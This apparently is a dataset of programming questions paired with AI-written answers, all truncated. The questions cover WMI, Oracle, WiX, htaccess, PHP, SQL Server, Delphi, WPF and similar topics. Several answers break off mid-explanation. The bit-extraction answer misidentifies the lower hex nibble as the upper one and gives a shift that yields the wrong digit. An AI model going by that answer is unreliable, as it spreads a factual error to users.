instruction
stringlengths
14
27.6k
completion
stringlengths
3
38.3k
__original_row_idx
int64
0
50k
conversations
listlengths
2
2
Is there a WMI event you can subscribe to that will fire when a remote machine boots up and comes online, or goes offline? My application needs to be able to monitor machines for their availability, and ideally, I'd like something that can work via events instead of continuous polling.
Yes, you can use Windows Management Instrumentation (WMI) to monitor the availability of remote machines by subscribing to specific events. However, WMI does not provide direct events for remote machine boot or shutdown, as it mainly focuses on the local system's state. That said, you can subscribe to specific events ...
35,190
[ { "from": "human", "value": "Is there a WMI event you can subscribe to that will fire when a remote machine boots up and comes online, or goes offline?\nMy application needs to be able to monitor machines for their availability, and ideally, I'd like something that can work via events instead of continuous ...
I'm using Oracle 10g and I'm trying to "stack" the conditions in a CASE statement, like I would do in C++ : case 1: case 2: // instructions break; i.e. having the same code block executed for two different successful conditions. I've tried : WHEN 1, 2 THEN WHEN 1 OR 2 THEN ... without luck. Is it even possibl...
In Oracle SQL, you cannot combine multiple values using logical operators like `OR` in a `CASE` statement. However, you can achieve the desired outcome of executing the same block of code for multiple conditions by using separate `WHEN` clauses. Here's how you can structure your `CASE` statement to accomplish this: `...
37,695
[ { "from": "human", "value": "I'm using Oracle 10g and I'm trying to \"stack\" the conditions in a CASE statement, like I would do in C++ :\ncase 1:\ncase 2:\n // instructions\n break;\n\ni.e. having the same code block executed for two different successful conditions.\nI've tried :\nWHEN 1, 2 THEN\nWH...
I'm using Notepad++ for python development, and few days ago I found out about free Komodo Edit. I need Pros and Cons for Python development between this two editors...
Both Notepad++ and Komodo Edit are popular text editors used for various programming languages, including Python. Here’s a comparison of the pros and cons of each, specifically regarding Python development: ### Notepad++ **Pros:** 1. **Lightweight and Fast:** Notepad++ is a very lightweight application that starts up...
35,890
[ { "from": "human", "value": "I'm using Notepad++ for python development, and few days ago I found out about free Komodo Edit.\nI need Pros and Cons for Python development between this two editors...\n" }, { "from": "gpt", "value": "Both Notepad++ and Komodo Edit are popular text editors used for...
Whar are the relative merits between GDI+ and WPF? Also does anyone know the minimum system requirements needed in order to develop/run WPF apps?
GDI+ and WPF (Windows Presentation Foundation) are two different technologies for rendering graphics and user interfaces in Windows applications, each with its own merits and use cases. ### Relative Merits of GDI+ vs. WPF: #### GDI+ 1. **Simplicity and Performance**: - GDI+ is relatively straightforward for simpl...
35,455
[ { "from": "human", "value": "Whar are the relative merits between GDI+ and WPF?\nAlso does anyone know the minimum system requirements needed in order to develop/run WPF apps?\n" }, { "from": "gpt", "value": "GDI+ and WPF (Windows Presentation Foundation) are two different technologies for rende...
I've given up trying to apply lipstick to the pigs of installers that come out of Visual Studio and have decided to look at WiX. What resources would you recommend to learn and reference? (Note - this is not a which-installer-technology-do-you-use question - it's specific to WiX.)
WiX (Windows Installer XML) is a powerful tool for creating Windows installation packages, and there are several resources that can help you learn and reference it effectively. Here are some recommended resources: ### Official Documentation 1. **WiX Toolset Documentation**: The official WiX documentation provides comp...
36,812
[ { "from": "human", "value": "I've given up trying to apply lipstick to the pigs of installers that come out of Visual Studio and have decided to look at WiX.\nWhat resources would you recommend to learn and reference?\n(Note - this is not a which-installer-technology-do-you-use question - it's specific to W...
I have the following code that I need to add an additonal object to after the results have been retrieved from the databse. Any Ideas on how I might to this ? public IEnumerable<ProdPriceDisplay> GetShopProductsPrices() { //ProdPriceDisplay ProdPrice = new ProdPriceDisplay(); var Products = from shop in db....
To add an additional object to the collection after retrieving results from the database, you can convert the results to a list and then add the new object to that list before returning it. Here’s how you can modify your `GetShopProductsPrices` method: ```csharp public IEnumerable<ProdPriceDisplay> GetShopProductsPric...
39,715
[ { "from": "human", "value": "I have the following code that I need to add an additonal object to after the results have been retrieved from the databse. Any Ideas on how I might to this ?\n public IEnumerable<ProdPriceDisplay> GetShopProductsPrices()\n{\n\n //ProdPriceDisplay ProdPrice = new ProdPriceD...
I am attempting to write a one-line Perl script that will toggle a line in a configuration file from "commented" to not and back. I have the following so far: perl -pi -e 's/^(#?)(\tDefaultServerLayout)/ ... /e' xorg.conf I am trying to figure out what code to put in the replacement (...) section. I would like the rep...
To achieve the toggle functionality in your Perl one-liner, you can utilize the conditional operator `?:` in the replacement part of the substitution. This will allow you to check if the first capturing group (the optional `#`) is present or not, and then accordingly prepend or remove the `#`. Here's how you can modif...
39,122
[ { "from": "human", "value": "I am attempting to write a one-line Perl script that will toggle a line in a configuration file from \"commented\" to not and back. I have the following so far:\nperl -pi -e 's/^(#?)(\\tDefaultServerLayout)/ ... /e' xorg.conf\n\nI am trying to figure out what code to put in the ...
I've just been tasked with building a web application using ASP (.net) and am looking for some advice on where to start. In a nutshell the application needs to be able to. Handle user verification / authentication Handle sessions Do SOAP messaging The application is intended to act as a front end for system functio...
Building a web application using ASP.NET that handles user authentication, sessions, and SOAP messaging is a great project. Here’s a step-by-step guide to help you get started: ### Step 1: Choose the Right Framework Given that you want to leverage ASP.NET, you should consider whether to use ASP.NET Core or the full A...
35,197
[ { "from": "human", "value": "I've just been tasked with building a web application using ASP (.net) and am looking for some advice on where to start. In a nutshell the application needs to be able to.\n\nHandle user verification / authentication\nHandle sessions\nDo SOAP messaging\n\nThe application is in...
From the wikipedia entry on NP-Complete: "The easiest way to prove that some new problem is NP-complete is first to prove that it is in NP, and then to reduce some known NP-complete problem to it" I'm pretty sure that I understand this: If I have a problem, I can show that it is NP-Complete if I: show that it is in ...
You're correct in your understanding of how to prove that a new problem is NP-complete by demonstrating that it is in NP and then reducing a known NP-complete problem to it. However, when it comes to the very first NP-complete problems, the initial proofs relied on different methods. The concept of NP-completeness was...
37,853
[ { "from": "human", "value": "From the wikipedia entry on NP-Complete:\n\"The easiest way to prove that some new problem is NP-complete is first to prove that it is in NP, and then to reduce some known NP-complete problem to it\"\nI'm pretty sure that I understand this: If I have a problem, I can show that ...
Does anyone know of a way to change the height of a Page Header in a RDLC report? I have a textbox that has line breaks and would like the height of the Page Header to expand if there are more than one line. Does anyone know how to do this? Let me know if you need more information.
In RDLC (Report Definition Language Client-side) reports, the height of the Page Header section is generally fixed, and you cannot directly set it to dynamically expand based on content like a TextBox within it. However, you can use a workaround to achieve similar behavior by using a couple of strategies: ### Strategy...
39,399
[ { "from": "human", "value": "Does anyone know of a way to change the height of a Page Header in a RDLC report? I have a textbox that has line breaks and would like the height of the Page Header to expand if there are more than one line. Does anyone know how to do this? Let me know if you need more inform...
I have a table of events, I need to find all tail events of type 1 and all head events of type 1. So, for the set of events in this order [1, 1], 3, 1 ,4, 5, [1,1,1] the brackets denote head and tail events of type 1. This is much better illustrated in SQL: drop table #event go create table #event (group_id int, [da...
To optimize your SQL query and reduce the number of table scans, you can use a Common Table Expression (CTE) or a derived table to precompute relevant information about each event. This way, you only scan the table once and can obtain the head and tail events based on the computed results. Here's a revised version of ...
36,826
[ { "from": "human", "value": "I have a table of events, I need to find all tail events of type 1 and all head events of type 1. \nSo, for the set of events in this order [1, 1], 3, 1 ,4, 5, [1,1,1] the brackets denote head and tail events of type 1. \nThis is much better illustrated in SQL:\ndrop table #even...
The C++ standard imposes an ordering on class member variables in memory. It says that the addresses of member variables have to increase in the order of declaration, but only inside one access section. Very specifically, this does not seem to prevent compilers from laying out access sections in an interleaved way. ...
Yes, the C++ standard does allow compilers to lay out class member variables in a way that can interleave access sections, provided that the ordering of the member variables within each access section is maintained. In your example: ```cpp class X { public: int i; int j; private: int k; int n; }; ``` Th...
40,235
[ { "from": "human", "value": "The C++ standard imposes an ordering on class member variables in memory. It says that the addresses of member variables have to increase in the order of declaration, but only inside one access section. Very specifically, this does not seem to prevent compilers from laying out...
In particular, I'm editing the AutoCompletion.plist file for CSSEdit (if that even matters). My question is, are there any characters withing the STRING elements that need to be escaped? spaces? quotes? EDIT: Just to be clear, I'm not using CSSEdit to edit the file - rather the file is part of the CSSEdit package. I'm ...
In an XML format, which is what the AutoCompletion.plist file you are editing uses, there are specific characters that need to be properly escaped to ensure the XML remains valid. ### Characters that need to be escaped in XML: 1. **Ampersand (`&`)**: Must be escaped as `&amp;` 2. **Less-than (`<`)**: Must be escaped ...
35,799
[ { "from": "human", "value": "In particular, I'm editing the AutoCompletion.plist file for CSSEdit (if that even matters).\nMy question is, are there any characters withing the STRING elements that need to be escaped? spaces? quotes?\nEDIT:\nJust to be clear, I'm not using CSSEdit to edit the file - rather t...
I like the idea of having only one return statement per method. What do you do in this situation though? public static string ChopText(string Text) { if (String.IsNullOrEmpty(Text)) { // return here ????? } } The only alternative I can think of is setting a flag, and then checking for the flag. Problem ...
It's a common practice to aim for a single return statement per method for better readability and maintainability. If you want to maintain that pattern while also handling early returns, you can use a conditional operator or a variable to store your result and then return that variable at the end of the method. Here’s...
39,868
[ { "from": "human", "value": "I like the idea of having only one return statement per method.\nWhat do you do in this situation though?\npublic static string ChopText(string Text)\n{\n if (String.IsNullOrEmpty(Text))\n {\n // return here ?????\n }\n}\n\nThe only alternative I can think of is setti...
I have a window that is set with NSBorderlessWindowMask, and also kCGDesktopWindowLevel. When a NSPanel is supposed to appear from say the selection of a Dock Icon menu or a Status Bar Item menu, the NSPanel will not display if the application is not the front most window. So this program at this time only has a Status...
The issue you're encountering with `NSBorderlessWindowMask` and `kCGDesktopWindowLevel` seems to be related to how macOS manages window focus and ordering, especially when dealing with borderless windows and non-frontmost applications. When you call `makeKeyAndOrderFront`, it may not always bring your window to the fr...
36,915
[ { "from": "human", "value": "I have a window that is set with NSBorderlessWindowMask, and also kCGDesktopWindowLevel. When a NSPanel is supposed to appear from say the selection of a Dock Icon menu or a Status Bar Item menu, the NSPanel will not display if the application is not the front most window.\nSo t...
I have big issue with url-rewriting for IIS 7.0. I've written simple module for rewriting for my NET3.5/IIS7 web application. Here is a part of the code. public void Init(HttpApplication context) { context.BeginRequest += new EventHandler(context_BeginRequest); } void context_BeginRequest(objec...
When you're facing issues with URL rewriting in IIS 7.0 when switching from Classic to Integrated pipeline mode, it may be related to several factors. Here are some troubleshooting tips and adjustments you can consider: 1. **Double-check your module registration**: Ensure that your module is properly registered in the...
35,672
[ { "from": "human", "value": "I have big issue with url-rewriting for IIS 7.0.\nI've written simple module for rewriting for my NET3.5/IIS7 web application. Here is a part of the code.\n public void Init(HttpApplication context)\n {\n context.BeginRequest += new EventHandler(context_BeginRequest...
Has anyone found a good method of mocking out ADO.Net Data Service calls from a Silverlight application? The power of Data Services seems to be the use of linq, client side, over entities. However when testing the objects that do the data access how can you mock out the service? One way is to create an entire mock Dat...
Mocking ADO.Net Data Service calls in a Silverlight application can indeed be challenging, especially when you want to retain the benefits of LINQ and entity access while ensuring that your tests run smoothly without needing to hit a real data service. Here are some strategies and tools that can help you effectively mo...
36,274
[ { "from": "human", "value": "Has anyone found a good method of mocking out ADO.Net Data Service calls from a Silverlight application? \nThe power of Data Services seems to be the use of linq, client side, over entities. However when testing the objects that do the data access how can you mock out the servic...
I've written a VB.NET application that uses SQL CE 3.5. I'm curious if anyone has any best practice or code to help check if A) SQL CE is installed and B) If so, what version. I searched msdn and google for anything but I didn't find anything helpful. I was poking around the registry and found this key: HKEY_LOCAL...
To check if SQL Server Compact Edition (SQL CE) is installed and what version it is, you can follow the approach of inspecting the Windows Registry. You've already found the relevant registry key that indicates the presence of SQL CE 3.5. It’s a valid approach, but your concern about future compatibility is noted. He...
34,765
[ { "from": "human", "value": "I've written a VB.NET application that uses SQL CE 3.5. I'm curious if anyone has any best practice or code to help check if A) SQL CE is installed and B) If so, what version. \nI searched msdn and google for anything but I didn't find anything helpful. I was poking around th...
Can I collapse those two "getFields" methods into one using generics (the second method is intended to package private access) or should I rename the second one into something ugly like "getFieldPackagePrivate"? public interface IField { } class Field implements IField { // package private class } public class...
You can definitely collapse the two `getFields` methods into one using generics, but you need to think carefully about how this might affect the intended usage in your application. Since you want to expose a clean interface while also allowing package-private access to `Field`, one option could be to use a single metho...
36,752
[ { "from": "human", "value": "Can I collapse those two \"getFields\" methods into one using generics (the second method is intended to package private access) or should I rename the second one into something ugly like \"getFieldPackagePrivate\"?\npublic interface IField {\n\n}\n\n\nclass Field implements IF...
We are using an Oracle 11 database and a java development environment (using Eclipse) and would like to migrate several xml schemas to SQL schemas. Have looked ax xsd but really need something that we can run from ant/ Eclipse without SQL Server installed. Regards, Andy
Migrating XML schemas (XSD) to SQL schemas can be a complex task, especially when dealing with databases like Oracle. Below, I've outlined a general approach that you can follow, which can be integrated with Apache Ant for automation. ### Steps to Migrate XML Schemas to SQL Schemas 1. **Analyze the XSD**: Before migr...
34,821
[ { "from": "human", "value": "We are using an Oracle 11 database and a java development environment (using Eclipse) and would like to migrate several xml schemas to SQL schemas.\nHave looked ax xsd but really need something that we can run from ant/\nEclipse without SQL Server installed.\nRegards,\nAndy\n" ...
I am trying to make a basic API for my website so certain other websites that I approve of can show content from my site. I have a PHP script on my server that the other websites can access to pull content in XML format. How can I make sure that only certain websites can access this php page on my server?
To restrict access to your PHP script so that only certain approved websites can access it, you can use several methods. Here are some common approaches: ### 1. **Check the HTTP Referrer** You can inspect the `HTTP_REFERER` header to see which website is making the request. This header indicates the URL of the page t...
36,927
[ { "from": "human", "value": "I am trying to make a basic API for my website so certain other websites that I approve of can show content from my site. I have a PHP script on my server that the other websites can access to pull content in XML format. How can I make sure that only certain websites can access ...
I'm finding myself doing a lot of things with associative arrays in PHP. I was doing this: foreach ($item as $key=>$value) { if ($arr[$key] == null) { $arr[$key] = 0; } $arr[$key] += $other_arr[$value]; } But then I realised that it works fine if I exclude the line that initializes $arr[$key...
In PHP, it's true that `null` is loosely equal to `0` when using the equality operator (`==`). This means that if `$arr[$key]` is `null`, adding a value to it will effectively treat it as `0`, so your code will work as intended without the explicit initialization line. Here's your updated code without the initializatio...
35,681
[ { "from": "human", "value": "I'm finding myself doing a lot of things with associative arrays in PHP.\nI was doing this:\n foreach ($item as $key=>$value) {\n if ($arr[$key] == null) {\n $arr[$key] = 0; \n }\n $arr[$key] += $other_arr[$value];\n }\n\nBut then I realised that it works fin...
Reporting Services 2000 SP2 I've got a matrix displaying the number of employees Business1 Business2 Business3 StartBefore99 9 14 4 StartAfter99 30 20 34 I'd like to display percentages eg Business1 Business2 ...
To display the percentage of employees in a matrix in SQL Server Reporting Services (SSRS) 2000 SP2, you can use expressions to calculate the percentages based on the totals for each business category. Below is a step-by-step guide to help you achieve that. 1. **Calculate the Total for Each Business**: First, you will...
36,063
[ { "from": "human", "value": "Reporting Services 2000 SP2\nI've got a matrix displaying the number of employees \n Business1 Business2 Business3\nStartBefore99 9 14 4\nStartAfter99 30 20 34\n\nI'd like to display percentages eg...
I want to get the VB.NET or VB code to access the hard disk serial no when starting the program. It's to help me to protect my own software from people who try to pirate copies.
To access the hard disk serial number in VB.NET, you can use the `System.Management` namespace to query the Win32_DiskDrive class. This can help you retrieve the serial number of the hard drive, which you can then use as part of your software's licensing mechanism. Here is a sample code snippet that demonstrates how t...
37,794
[ { "from": "human", "value": "I want to get the VB.NET or VB code to access the hard disk serial no when starting the program. It's to help me to protect my own software from people who try to pirate copies. \n" }, { "from": "gpt", "value": "To access the hard disk serial number in VB.NET, you ca...
I am attempting to insert a copy of a row from one table into another table with the same schema, with the addition of one column (a timestamp) to provide a "history" of the first table in MS Sql Server 2005. So, my query, without the additional column would be: "SELECT INTO [WebsiteHistory] FROM [Website]" I want to ...
You can achieve this by using the `INSERT INTO` statement along with a `SELECT` statement. The `SELECT ... INTO` syntax creates a new table and copies data into it, which makes it a bit tricky when you want to insert additional columns. Since your `WebsiteHistory` table already exists (as it has the same schema as `We...
37,683
[ { "from": "human", "value": "I am attempting to insert a copy of a row from one table into another table with the same schema, with the addition of one column (a timestamp) to provide a \"history\" of the first table in MS Sql Server 2005.\nSo, my query, without the additional column would be:\n\"SELECT INT...
I build and maintain a set of Flash components that is distributed to publishers and allows them to integrate with our system. Currently the component has no UI and simply contains compiled code for querying our system servers, parsing the response, and modifying the params sent in the query. There's an As2 version and...
It's great to hear that you've started integrating your component with AsUnit! Automated testing can significantly improve the reliability of your components and help catch issues early on. Given your situation, let's address your two main concerns: testing your existing Flash components and handling asynchronous tests...
31,383
[ { "from": "human", "value": "I build and maintain a set of Flash components that is distributed to publishers and allows them to integrate with our system. Currently the component has no UI and simply contains compiled code for querying our system servers, parsing the response, and modifying the params sent...
Is there a limitation in the length of a query that SQL Server can handle? I have a normal SqlCommand object and pass a very long select statement as a string. The query seems to be fine when running against an SQL Server 2005/2008 engine but doesn't execute against an SQL Server 2000 engine. I don't have any error d...
Yes, there are limitations on the length of a query that SQL Server can handle, and these limits differ between versions of SQL Server. In SQL Server 2000, the maximum length of a single SQL statement is limited to 8,000 characters when using a `varchar` type, or 4,000 characters when using `nvarchar`. This limit can ...
40,148
[ { "from": "human", "value": "Is there a limitation in the length of a query that SQL Server can handle?\nI have a normal SqlCommand object and pass a very long select statement as a string. \nThe query seems to be fine when running against an SQL Server 2005/2008 engine but doesn't execute against an SQL Se...
I come from a CVS background. I'm currently investigating using SVN for a project. The code that I work on tends to be in the following directory structure. project\libs\lib1 project\libs\lib1\test project\libs\lib1\mock project\libs\lib2 etc. When I tag a release, in CVS, I tend to create two tags one being "project...
Your approach to simplifying the tagging process in SVN is practical and aligns well with SVN's capabilities. Here’s how you can implement your new approach effectively. ### Overview of the Process 1. **Tag the Current State**: Create a tag that includes all the files (including tests and mocks). 2. **Create a Client...
36,370
[ { "from": "human", "value": "I come from a CVS background. I'm currently investigating using SVN for a project. The code that I work on tends to be in the following directory structure.\n\nproject\\libs\\lib1\nproject\\libs\\lib1\\test\nproject\\libs\\lib1\\mock\nproject\\libs\\lib2\n\netc.\nWhen I tag a re...
C#: What is the proper way to change the font style (underline) from a Label at runtime? So far I understand that if you want to change font related properties at runtime from a label, mainly all font properties, you would have to use, lblName.Font = new Font(... etc. etc. Is there a shortcut to the above but only as...
In C#, when you want to change the font style (e.g., to underline) of a `Label` at runtime, you do indeed need to create a new `Font` instance using the `Font` class. Unfortunately, there isn't a built-in method to modify only a specific aspect (like style) of an existing font directly. You have to create a new `Font` ...
38,555
[ { "from": "human", "value": "C#: What is the proper way to change the font style (underline) from a Label at runtime?\nSo far I understand that if you want to change font related properties at runtime from a label, mainly all font properties, you would have to use,\n lblName.Font = new Font(... etc. etc.\n\...
I have a simple GUI component written in Java. The class draws an analog clock in a java.awt.canvas. This canvas is then contained in a JFrame - What I want to do is give the canvas a 3d "raised" effect - almost like adding a drop shadow to a photo. Is there a simple way to do this?
Creating a 3D "raised" effect for a Java `Canvas` in a `JFrame` can be achieved through a combination of drawing techniques. While Java's `Graphics` class doesn't provide built-in support for drop shadows or 3D effects, you can simulate this effect by manually drawing additional shapes or using gradients. Here's a sim...
29,634
[ { "from": "human", "value": "I have a simple GUI component written in Java. The class draws an analog clock in a java.awt.canvas.\nThis canvas is then contained in a JFrame - What I want to do is give the canvas a 3d \"raised\" effect - almost like adding a drop shadow to a photo.\nIs there a simple way to...
I have a List object being accessed by multiple threads. There is mostly one thread, and in some conditions two threads, that updates the list. There are one to five threads that can read from this list, depending on the number of user requests being processed. The list is not a queue of tasks to perform, it is a list ...
Given your requirements and constraints, let's evaluate the available options for ensuring thread-safe access to your ordered list of domain objects. Based on the description of your use case, we can narrow down the choices to find the optimal approach. ### Considerations 1. **Read/Write Ratio**: Since you have a hig...
36,763
[ { "from": "human", "value": "I have a List object being accessed by multiple threads. There is mostly one thread, and in some conditions two threads, that updates the list. There are one to five threads that can read from this list, depending on the number of user requests being processed.\nThe list is not ...
If you return a double or float from your MBean jconsole seems to round it down to the nearest integer.
The issue you're encountering with JConsole rounding `double` or `float` values to the nearest integer when displaying them is not an uncommon one. This behavior can arise due to the way JConsole formats and represents numeric values when retrieving them from MBeans. Here are some things to consider and potential work...
36,762
[ { "from": "human", "value": "If you return a double or float from your MBean jconsole seems to round it down to the nearest integer.\n" }, { "from": "gpt", "value": "The issue you're encountering with JConsole rounding `double` or `float` values to the nearest integer when displaying them is not...
The scriptaculous wiki has a demo (http://github.com/madrobby/scriptaculous/wikis/effect-slidedown) that shows the SlideDown effect in use. However I need to have the same link to slide down if a certain DIV is hidden and SlideUp if that DIV is showing. How do I achieve this? Thanks.
To achieve the functionality you described, you can create a JavaScript function that checks the visibility of the specific `div`. If the `div` is hidden, it will slide it down; if it is visible, it will slide it up. Assuming you are using Scriptaculous for the effects, here's a simple implementation using JavaScript:...
31,820
[ { "from": "human", "value": "The scriptaculous wiki has a demo (http://github.com/madrobby/scriptaculous/wikis/effect-slidedown) that shows the SlideDown effect in use. However I need to have the same link to slide down if a certain DIV is hidden and SlideUp if that DIV is showing.\nHow do I achieve this?\n...
Out of the several ways of accessing the SharePoint model of a SharePoint Services 3.0 site from an ASP.NET application, two seem to be very similar: SPWeb site = SPControl.GetContextWeb(Context); SPWeb site = SPContext.Current.Web; It is my understanding that both of these methods need to be executed from within an ...
Both `SPControl.GetContextWeb(Context)` and `SPContext.Current.Web` are used to access the current SharePoint site (SPWeb) within an ASP.NET application. However, there are some differences between these two approaches, and the choice of which to use may depend on specific circumstances within your application. ### Di...
37,867
[ { "from": "human", "value": "Out of the several ways of accessing the SharePoint model of a SharePoint Services 3.0 site from an ASP.NET application, two seem to be very similar:\n\nSPWeb site =\nSPControl.GetContextWeb(Context);\nSPWeb site = SPContext.Current.Web;\n\nIt is my understanding that both of th...
I'm looking for a good open source message bus that is suitable for embedded Linux devices (Linux and uClinux). It needs to satisfy the following criteria: Must be free software and LGPL or a more liberal license due to uClinux only supporting static linking Must have a C API Must have a relatively small footprint and...
Based on your criteria for an open-source message bus suitable for embedded Linux devices, here are a few options that you might find suitable: ### 1. **ZeroMQ** - **License**: MPL 2.0, which is more permissive than LGPL. - **C API**: Yes, it has a C API. - **Footprint**: It’s lightweight, though it has some dependenc...
35,709
[ { "from": "human", "value": "I'm looking for a good open source message bus that is suitable for embedded Linux devices (Linux and uClinux).\nIt needs to satisfy the following criteria:\n\nMust be free software and LGPL or a more liberal license due to uClinux only supporting static linking\nMust have a C A...
I'm trying to use the FolderBrowserDialog from my WPF application - nothing fancy. I don't much care that it has the Windows Forms look to it. However, when I call ShowDialog, I want to pass the owner window which is an IWin32Window. How do I get this from my WPF control? Actually, does it matter? If I run this code an...
In a WPF application, if you want to use the `FolderBrowserDialog` from Windows Forms, you might need to pass an owner window when calling `ShowDialog()` to specify which window should be treated as the owner of the dialog. This is generally a good practice, as it helps to prevent the dialog from being blocked by other...
37,705
[ { "from": "human", "value": "I'm trying to use the FolderBrowserDialog from my WPF application - nothing fancy. I don't much care that it has the Windows Forms look to it.\nHowever, when I call ShowDialog, I want to pass the owner window which is an IWin32Window. How do I get this from my WPF control?\nActu...
Here is a class that I wrote to solve some issues that I was having with viewstate. It stores the info in the users session and increments a value to track which state to show. The difficulty is that there is no support for the back button. The reason I originally had this was that before AJAX came along the viewsta...
Your implementation of a custom ViewState handler in ASP.NET offers a way to persist state information in server-side sessions instead of relying on traditional ViewState mechanisms. This can enhance performance and reduce the amount of data sent to the client, especially for complex objects. Below are some comments, s...
33,715
[ { "from": "human", "value": "Here is a class that I wrote to solve some issues that I was having with viewstate. It stores the info in the users session and increments a value to track which state to show. The difficulty is that there is no support for the back button. The reason I originally had this wa...
I get the message that the namespace can't be found when I use the code below. Where does the AccessDeniedException live? try { ... } catch (SomeKindOfException ex) { MessageBox.Show(ex.Message); } catch (AccessDeniedException ex) { //Do something else } Thanks
The `AccessDeniedException` is not a built-in exception in .NET; it's likely that it is either a custom exception defined in your project or part of an external library. However, in the context of .NET, a common exception that represents a similar scenario is `UnauthorizedAccessException`, which is part of the `System...
39,564
[ { "from": "human", "value": "I get the message that the namespace can't be found when I use the code below. Where does the AccessDeniedException live?\ntry { ... } \ncatch (SomeKindOfException ex) \n{ \nMessageBox.Show(ex.Message); \n} \ncatch (AccessDeniedException ex) \n{ \n//Do something else \n}\n\nThan...
I'm getting ready to implement a source control system (subversion) but I'm facing some doubts on how to structure my folders. I use Delphi for all my development and compile the projects from within the IDE. My current projects folder structure is as follows: -E:\Work\1. Shared --Forms (shared forms across all projec...
Your current folder structure seems well thought out and organized. It clearly separates shared resources from project-specific resources and maintains a logical flow for how projects are structured. However, I can offer some suggestions to enhance your structure further, especially considering the integration with a s...
34,992
[ { "from": "human", "value": "I'm getting ready to implement a source control system (subversion) but I'm facing some doubts on how to structure my folders.\nI use Delphi for all my development and compile the projects from within the IDE.\nMy current projects folder structure is as follows:\n\n-E:\\Work\\1....
I have an existing htaccess that works fine: RewriteEngine On RewriteCond %{SCRIPT_FILENAME} !-f RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule (.*) /default.php DirectoryIndex index.php /default.php I wish to modify this so that all urls that start with /test/ go to /test/default.php, while keeping all other URLs wi...
You can modify your existing `.htaccess` file to achieve this by adding a new rewrite condition that checks if the URL starts with `/test/`. If it does, it will redirect to `/test/default.php`. If it doesn't, it will continue to redirect to `/default.php`. Here’s how you can update your `.htaccess` file: ```apache Rew...
38,764
[ { "from": "human", "value": "I have an existing htaccess that works fine:\nRewriteEngine On\nRewriteCond %{SCRIPT_FILENAME} !-f\nRewriteCond %{SCRIPT_FILENAME} !-d\nRewriteRule (.*) /default.php \nDirectoryIndex index.php /default.php\n\nI wish to modify this so that all urls that start with /test/ go to /t...
I'm talking about this: If we have the letter 'A' which is 77 in decimal and 4D in Hex. I am looking for the fastest way to get D. I thought about two ways: Given x is a byte. x << 4; x >> 4 x %= 16 Any other ways? Which one is faster?
To extract the hex digit 'D' from the byte representation of 'A' (which is 77 in decimal or 4D in hexadecimal), you want to isolate the upper nibble (the leftmost 4 bits) of the byte. In this case, we can consider the following methods to achieve that: 1. **Bit Shifting**: - `x >> 4` shifts the bits of `x` 4 places...
36,519
[ { "from": "human", "value": "I'm talking about this:\nIf we have the letter 'A' which is 77 in decimal and 4D in Hex.\nI am looking for the fastest way to get D.\nI thought about two ways:\nGiven x is a byte.\n\nx << 4; x >> 4\nx %= 16\n\nAny other ways? Which one is faster?\n" }, { "from": "gpt", ...
My company is in the process of rewriting our software from scratch, and I'm the one who is going to be doing most of the work in rewriting the Mac client (The core of our software is Windows based, and the Mac client communicates with it through a webservice). This isn't a real heavy app, mainly does some background w...
It sounds like you’re facing a significant decision regarding the target OS for your Mac client rewrite. Based on the points you’ve raised, here’s how you might formulate your case for dropping support for Mac OS X 10.4 and focusing solely on 10.5 and later: ### Making the Case for 10.5+ Support 1. **Development Effi...
33,018
[ { "from": "human", "value": "My company is in the process of rewriting our software from scratch, and I'm the one who is going to be doing most of the work in rewriting the Mac client (The core of our software is Windows based, and the Mac client communicates with it through a webservice).\nThis isn't a rea...
How do I save a Tlistviews layout in Delphi 2007? I have been asked to write some code to allow users to re-order columns in a TListview (well all TListviews in our application), I have the code working (by manipulating the columns index and setting width to zero to hide columns not needed) but now I need a way to save...
To save the layout of a `TListView` in Delphi 2007, while addressing the considerations you've mentioned, you can use a simple approach of storing the column states in an INI file or using the Windows Registry. Here's a step-by-step guide to help you implement this: ### Step 1: Define a Structure to Store Column Infor...
33,205
[ { "from": "human", "value": "How do I save a Tlistviews layout in Delphi 2007?\nI have been asked to write some code to allow users to re-order columns in a TListview (well all TListviews in our application), I have the code working (by manipulating the columns index and setting width to zero to hide column...
I make a user control and then want to include it on a page I have to always manually type the @Register line at the top of my .aspx file, e.g. <%@ Register TagPrefix="edward" TagName="GetQuote" src="~/Controls/GetQuote.ascx" %> Is there any way to automatically create these @Register lines? (I tried dragging in t...
It's great to hear that you solved your issue! Dragging the user control from the Solution Explorer into the design view of your .aspx page is indeed the way to automatically generate the `@Register` directive. For others facing a similar issue, here’s a quick summary of how you can easily include a user control in yo...
38,437
[ { "from": "human", "value": "\nI make a user control and then want to include it on a page\nI have to always manually type the @Register line at the top of my .aspx file, e.g.\n<%@ Register TagPrefix=\"edward\" TagName=\"GetQuote\" src=\"~/Controls/GetQuote.ascx\" %>\n\nIs there any way to automatically cr...
From the blog of the creator of the error message, if you mix Response.Write (among other things) with an UpdatePanel you will likely get PageRequestManagerParserErrorException errors. I was wondering, is it ok to mix UI.HtmlTextWriter and UpdatePanels? My guess would be that it would not be ok, but I'm not sure. With ...
Mixing `UI.HtmlTextWriter` with `UpdatePanels` in ASP.NET can be a bit tricky, but it generally shouldn't cause problems if used correctly. The main thing to keep in mind is that `UpdatePanels` use AJAX to perform partial page updates, and any output that you generate needs to be compatible with this asynchronous model...
38,179
[ { "from": "human", "value": "From the blog of the creator of the error message, if you mix Response.Write (among other things) with an UpdatePanel you will likely get PageRequestManagerParserErrorException errors. I was wondering, is it ok to mix UI.HtmlTextWriter and UpdatePanels? My guess would be that it...
In Oracle we can print output by dbms_output.put_line() but I don't know to do the same thing in DB2. I currently use signal for printing some messages when I debug.
In DB2, you can use a combination of the `CALL` statement and a user-defined function or procedure to print output. Unlike Oracle's `dbms_output.put_line()`, DB2 doesn't have a direct equivalent for displaying output directly to the console. However, you can achieve similar results using the following methods: ### Met...
38,127
[ { "from": "human", "value": "In Oracle we can print output by dbms_output.put_line() but I don't know to do the same thing in DB2.\nI currently use signal for printing some messages when I debug.\n" }, { "from": "gpt", "value": "In DB2, you can use a combination of the `CALL` statement and a use...
I know each iPhone has a electronic identifier other than the phone # or ESN - how do I call it and what does it return?
Each iPhone has a unique identifier known as the **IMEI** (International Mobile Equipment Identity) number. The IMEI is a 15-digit number that uniquely identifies mobile devices on cellular networks. You can find the IMEI by dialing `*#06#` on the phone's keypad, or by checking in the device settings under **Settings >...
38,958
[ { "from": "human", "value": "I know each iPhone has a electronic identifier other than the phone # or ESN - how do I call it and what does it return?\n" }, { "from": "gpt", "value": "Each iPhone has a unique identifier known as the **IMEI** (International Mobile Equipment Identity) number. The I...
